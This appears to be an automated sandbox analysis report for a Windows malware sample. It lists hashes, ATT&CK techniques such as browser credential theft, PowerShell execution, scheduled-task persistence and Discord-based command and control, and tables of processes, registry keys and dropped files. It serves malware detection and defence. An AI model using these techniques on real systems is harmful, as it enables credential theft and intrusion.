a5a1cdab764caaa12e85c9cd99fb29c3ce9a336871801484ba1513c9a0288f65

Analysis

max time kernel
150s
max time network
151s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
16/08/2026, 03:51

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-08-16_b3a739730b31ec5f9f193665b734d157_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Size 40.1MB
Sample260816-eew23acn7z
SHA256 a5a1cdab764caaa12e85c9cd99fb29c3ce9a336871801484ba1513c9a0288f65
MD5 b3a739730b31ec5f9f193665b734d157
SHA1 5e064ee4af80f8e6f7dc098364dc0f6abb8cf326
SHA512 ceca2f5cb38b1ad11dc622022b28d7d0e6120e2b2c1773630723256653b7bc17e8f50b39128b768e4ca28406c7cc8aa4e45b23872ee581619f2b1833f9f835b1
SSDEEP 393216:f1Du8BtuBw2FEL3Z3aLUoQvo6LP/SgbSpYvKEh1EdKwlGQKPJuGsiTfREsrgCYfN:fMguj8Q4VfvFqFTrYynufXw
TLSH
T11E979C0773E60195E5B7E2388AA65507D773B8634331CBDF329D06151FABAE09A7E320
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

defense_evasion discovery execution persistence privilege_escalation spyware stealer

Malware Config

Signatures

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 15 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4548	powershell.exe
2484	powershell.exe
2580	powershell.exe
4404	powershell.exe
2476	powershell.exe
4392	powershell.exe
6124	powershell.exe
5572	powershell.exe
2032	powershell.exe
616	powershell.exe
4628	powershell.exe
3320	powershell.exe
1456	powershell.exe
2328	powershell.exe
1012	powershell.exe

Contacts third-party web service commonly abused for C2 1 TTPs 3 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
1	discord.com
9	discord.com
10	discord.com

Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
564	cmd.exe
3932	cmd.exe
3276	cmd.exe
4928	cmd.exe
3264	cmd.exe

Looks up external IP address via web service 1 TTPs 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
1	ip-api.com

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Drops file in System32 directory 5 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\MicrosoftEdgeUpdate.exe	2026-08-16_b3a739730b31ec5f9f193665b734d157_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe

Drops file in Windows directory 26 IoCs

description	ioc	Process
File opened for modification	\??\c:\Windows\SystemTemp\hyn1yf5m\hyn1yf5m.dll	csc.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_hpjo1cup.4tv.psm1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_t5msx0xi.wgf.psm1	powershell.exe
File created	C:\Windows\SystemTemp\voyht1gd\voyht1gd.0.cs	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_1ky3yeu4.010.ps1	powershell.exe
File created	C:\Windows\SystemTemp\hyn1yf5m\hyn1yf5m.tmp	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_bpg0zhvz.ahp.ps1	powershell.exe
File created	C:\Windows\SystemTemp\voyht1gd\voyht1gd.dll	powershell.exe
File created	C:\Windows\SystemTemp\voyht1gd\voyht1gd.err	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_2bj1mm1s.maf.ps1	powershell.exe
File opened for modification	C:\Windows\SystemTemp\RES1592.tmp	cvtres.exe
File created	\??\c:\Windows\SystemTemp\voyht1gd\CSC937F1572CC04490B85F737BB3DC5ED83.TMP	csc.exe
File opened for modification	C:\Windows\SystemTemp\RES291A.tmp	cvtres.exe
File opened for modification	\??\c:\Windows\SystemTemp\voyht1gd\voyht1gd.dll	csc.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_1eaq5cav.12q.psm1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_4h4wac1u.m0b.psm1	powershell.exe
File created	C:\Windows\SystemTemp\hyn1yf5m\hyn1yf5m.0.cs	powershell.exe
File created	C:\Windows\SystemTemp\hyn1yf5m\hyn1yf5m.out	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_eocakgw4.1jp.ps1	powershell.exe
File created	C:\Windows\SystemTemp\voyht1gd\voyht1gd.tmp	powershell.exe
File created	C:\Windows\SystemTemp\voyht1gd\voyht1gd.cmdline	powershell.exe
File created	C:\Windows\SystemTemp\voyht1gd\voyht1gd.out	powershell.exe
File created	C:\Windows\SystemTemp\hyn1yf5m\hyn1yf5m.dll	powershell.exe
File created	C:\Windows\SystemTemp\hyn1yf5m\hyn1yf5m.cmdline	powershell.exe
File created	C:\Windows\SystemTemp\hyn1yf5m\hyn1yf5m.err	powershell.exe
File created	\??\c:\Windows\SystemTemp\hyn1yf5m\CSCB3E9276475C64EBA8F9E3E7C174347FF.TMP	csc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 26 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3048	cmd.exe
4816	cmd.exe
5812	cmd.exe
3064	cmd.exe
948	cmd.exe
3788	cmd.exe
5332	cmd.exe
2112	cmd.exe
5228	cmd.exe
864	cmd.exe
2564	cmd.exe
4356	cmd.exe
3176	cmd.exe
1652	cmd.exe
5780	cmd.exe
2592	cmd.exe
5820	cmd.exe
5312	cmd.exe
3004	cmd.exe
852	cmd.exe
2852	cmd.exe
4920	cmd.exe
6044	cmd.exe
4084	cmd.exe
5584	cmd.exe
2168	cmd.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
4920	cmd.exe
5772	netsh.exe

Checks processor information in registry 2 TTPs 24 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\~MHz	2026-08-16_b3a739730b31ec5f9f193665b734d157_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\~MHz	2026-08-16_b3a739730b31ec5f9f193665b734d157_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5	2026-08-16_b3a739730b31ec5f9f193665b734d157_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\~MHz	2026-08-16_b3a739730b31ec5f9f193665b734d157_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\ProcessorNameString	2026-08-16_b3a739730b31ec5f9f193665b734d157_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6	2026-08-16_b3a739730b31ec5f9f193665b734d157_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	2026-08-16_b3a739730b31ec5f9f193665b734d157_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	2026-08-16_b3a739730b31ec5f9f193665b734d157_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3	2026-08-16_b3a739730b31ec5f9f193665b734d157_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\~MHz	2026-08-16_b3a739730b31ec5f9f193665b734d157_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\ProcessorNameString	2026-08-16_b3a739730b31ec5f9f193665b734d157_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2	2026-08-16_b3a739730b31ec5f9f193665b734d157_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\~MHz	2026-08-16_b3a739730b31ec5f9f193665b734d157_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\ProcessorNameString	2026-08-16_b3a739730b31ec5f9f193665b734d157_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\~MHz	2026-08-16_b3a739730b31ec5f9f193665b734d157_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\ProcessorNameString	2026-08-16_b3a739730b31ec5f9f193665b734d157_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	2026-08-16_b3a739730b31ec5f9f193665b734d157_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	2026-08-16_b3a739730b31ec5f9f193665b734d157_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	2026-08-16_b3a739730b31ec5f9f193665b734d157_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\ProcessorNameString	2026-08-16_b3a739730b31ec5f9f193665b734d157_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4	2026-08-16_b3a739730b31ec5f9f193665b734d157_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\ProcessorNameString	2026-08-16_b3a739730b31ec5f9f193665b734d157_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7	2026-08-16_b3a739730b31ec5f9f193665b734d157_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	2026-08-16_b3a739730b31ec5f9f193665b734d157_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe

Kills process with taskkill 3 IoCs

defense_evasion

pid	Process
6016	taskkill.exe
3192	taskkill.exe
1628	taskkill.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3876	schtasks.exe
4816	schtasks.exe
724	schtasks.exe
3516	schtasks.exe
2916	schtasks.exe

Suspicious behavior: EnumeratesProcesses 48 IoCs

pid	Process
2476	powershell.exe
2476	powershell.exe
4392	powershell.exe
4392	powershell.exe
2328	powershell.exe
2328	powershell.exe
2328	powershell.exe
4832	powershell.exe
4832	powershell.exe
4832	powershell.exe
6124	powershell.exe
6124	powershell.exe
6124	powershell.exe
4548	powershell.exe
4548	powershell.exe
4548	powershell.exe
1012	powershell.exe
1012	powershell.exe
1012	powershell.exe
5572	powershell.exe
5572	powershell.exe
5572	powershell.exe
616	powershell.exe
616	powershell.exe
616	powershell.exe
2032	powershell.exe
2032	powershell.exe
2032	powershell.exe
2484	powershell.exe
2484	powershell.exe
2484	powershell.exe
3320	powershell.exe
3320	powershell.exe
3320	powershell.exe
4628	powershell.exe
4628	powershell.exe
4628	powershell.exe
2580	powershell.exe
2580	powershell.exe
2580	powershell.exe
4404	powershell.exe
4404	powershell.exe
4404	powershell.exe
1456	powershell.exe
1456	powershell.exe
1456	powershell.exe
5352	2026-08-16_b3a739730b31ec5f9f193665b734d157_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
5352	2026-08-16_b3a739730b31ec5f9f193665b734d157_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe

Suspicious use of AdjustPrivilegeToken 19 IoCs

description	pid	Process
Token: SeDebugPrivilege	2476	powershell.exe
Token: SeDebugPrivilege	4392	powershell.exe
Token: SeDebugPrivilege	6016	taskkill.exe
Token: SeDebugPrivilege	2328	powershell.exe
Token: SeDebugPrivilege	4832	powershell.exe
Token: SeDebugPrivilege	6124	powershell.exe
Token: SeDebugPrivilege	4548	powershell.exe
Token: SeDebugPrivilege	1012	powershell.exe
Token: SeDebugPrivilege	5572	powershell.exe
Token: SeDebugPrivilege	616	powershell.exe
Token: SeDebugPrivilege	2032	powershell.exe
Token: SeDebugPrivilege	2484	powershell.exe
Token: SeDebugPrivilege	3320	powershell.exe
Token: SeDebugPrivilege	4628	powershell.exe
Token: SeDebugPrivilege	3192	taskkill.exe
Token: SeDebugPrivilege	2580	powershell.exe
Token: SeDebugPrivilege	4404	powershell.exe
Token: SeDebugPrivilege	1628	taskkill.exe
Token: SeDebugPrivilege	1456	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2148 wrote to memory of 5352	2148	2026-08-16_b3a739730b31ec5f9f193665b734d157_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	90
PID 5352 wrote to memory of 5780	5352	2026-08-16_b3a739730b31ec5f9f193665b734d157_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	91
PID 5780 wrote to memory of 3672	5780	cmd.exe	93
PID 3672 wrote to memory of 560	3672	net.exe	94
PID 5352 wrote to memory of 564	5352	2026-08-16_b3a739730b31ec5f9f193665b734d157_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	95
PID 564 wrote to memory of 2632	564	cmd.exe	97
PID 5352 wrote to memory of 6044	5352	2026-08-16_b3a739730b31ec5f9f193665b734d157_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	98
PID 6044 wrote to memory of 2916	6044	cmd.exe	100
PID 5352 wrote to memory of 2112	5352	2026-08-16_b3a739730b31ec5f9f193665b734d157_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	101
PID 2112 wrote to memory of 2476	2112	cmd.exe	103
PID 5352 wrote to memory of 4084	5352	2026-08-16_b3a739730b31ec5f9f193665b734d157_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	105
PID 4084 wrote to memory of 4392	4084	cmd.exe	107
PID 5352 wrote to memory of 2592	5352	2026-08-16_b3a739730b31ec5f9f193665b734d157_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	108
PID 2592 wrote to memory of 6016	2592	cmd.exe	110
PID 5352 wrote to memory of 5812	5352	2026-08-16_b3a739730b31ec5f9f193665b734d157_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	112
PID 5812 wrote to memory of 3876	5812	cmd.exe	114
PID 5352 wrote to memory of 5228	5352	2026-08-16_b3a739730b31ec5f9f193665b734d157_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	115
PID 5228 wrote to memory of 2532	5228	cmd.exe	117
PID 5352 wrote to memory of 5584	5352	2026-08-16_b3a739730b31ec5f9f193665b734d157_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	119
PID 5584 wrote to memory of 2328	5584	cmd.exe	122
PID 5352 wrote to memory of 3932	5352	2026-08-16_b3a739730b31ec5f9f193665b734d157_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	125
PID 3932 wrote to memory of 5976	3932	cmd.exe	127
PID 5352 wrote to memory of 2168	5352	2026-08-16_b3a739730b31ec5f9f193665b734d157_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	128
PID 2168 wrote to memory of 4548	2168	cmd.exe	130
PID 5352 wrote to memory of 864	5352	2026-08-16_b3a739730b31ec5f9f193665b734d157_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	131
PID 864 wrote to memory of 4816	864	cmd.exe	180
PID 5352 wrote to memory of 3048	5352	2026-08-16_b3a739730b31ec5f9f193665b734d157_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	134
PID 3048 wrote to memory of 5112	3048	cmd.exe	136
PID 5352 wrote to memory of 5820	5352	2026-08-16_b3a739730b31ec5f9f193665b734d157_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	138
PID 5820 wrote to memory of 1012	5820	cmd.exe	141
PID 5572 wrote to memory of 5936	5572	powershell.exe	142
PID 5936 wrote to memory of 5440	5936	csc.exe	143
PID 5352 wrote to memory of 3276	5352	2026-08-16_b3a739730b31ec5f9f193665b734d157_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	144
PID 3276 wrote to memory of 4140	3276	cmd.exe	146
PID 5352 wrote to memory of 5312	5352	2026-08-16_b3a739730b31ec5f9f193665b734d157_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	147
PID 5312 wrote to memory of 724	5312	cmd.exe	149
PID 5352 wrote to memory of 5332	5352	2026-08-16_b3a739730b31ec5f9f193665b734d157_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	150
PID 5332 wrote to memory of 252	5332	cmd.exe	152
PID 5352 wrote to memory of 3004	5352	2026-08-16_b3a739730b31ec5f9f193665b734d157_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	155
PID 3004 wrote to memory of 616	3004	cmd.exe	157
PID 5352 wrote to memory of 4928	5352	2026-08-16_b3a739730b31ec5f9f193665b734d157_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	158
PID 4928 wrote to memory of 1440	4928	cmd.exe	160
PID 5352 wrote to memory of 2564	5352	2026-08-16_b3a739730b31ec5f9f193665b734d157_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	161
PID 2564 wrote to memory of 2484	2564	cmd.exe	163
PID 5352 wrote to memory of 4356	5352	2026-08-16_b3a739730b31ec5f9f193665b734d157_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	164
PID 4356 wrote to memory of 3516	4356	cmd.exe	166
PID 5352 wrote to memory of 3064	5352	2026-08-16_b3a739730b31ec5f9f193665b734d157_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	167
PID 3064 wrote to memory of 1400	3064	cmd.exe	169
PID 5352 wrote to memory of 852	5352	2026-08-16_b3a739730b31ec5f9f193665b734d157_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	171
PID 852 wrote to memory of 3320	852	cmd.exe	174
PID 4628 wrote to memory of 3136	4628	powershell.exe	175
PID 3136 wrote to memory of 5132	3136	csc.exe	176
PID 5352 wrote to memory of 3264	5352	2026-08-16_b3a739730b31ec5f9f193665b734d157_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	177
PID 3264 wrote to memory of 980	3264	cmd.exe	179
PID 5352 wrote to memory of 4816	5352	2026-08-16_b3a739730b31ec5f9f193665b734d157_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	180
PID 4816 wrote to memory of 3192	4816	cmd.exe	182
PID 5352 wrote to memory of 3176	5352	2026-08-16_b3a739730b31ec5f9f193665b734d157_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	183
PID 3176 wrote to memory of 2580	3176	cmd.exe	185
PID 5352 wrote to memory of 1652	5352	2026-08-16_b3a739730b31ec5f9f193665b734d157_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	186
